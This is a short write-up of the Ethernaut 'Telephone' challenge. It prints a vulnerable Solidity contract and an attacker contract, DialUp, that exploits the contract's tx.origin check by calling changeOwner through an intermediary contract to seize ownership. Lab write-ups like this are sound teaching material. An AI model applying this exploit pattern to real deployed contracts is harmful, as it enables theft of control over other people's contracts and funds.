Ethernaut Level 04 - Telephone - Write-Up
Difficulty: 1/10
Source
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
We just need to call the changeOwner()
function from a contract, since tx.origin
does not detect the sender address if it is coming from a contract (tx.origin
detects the address of the chain’s start. In this case, it was my address, not the contract’s, since I deployed it). We will use Remix where we can create the following contract:
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract DialUp {
Telephone main;
function DialUp(){
main = Telephone(INSTANCE ADDRESS);
}
function setOwner() public{
//Player address
main.changeOwner(PLAYER ADDRESS);
}
}
We then change the owner to the player’s address by calling DialUp.setOwner()
. We can then submit the contract: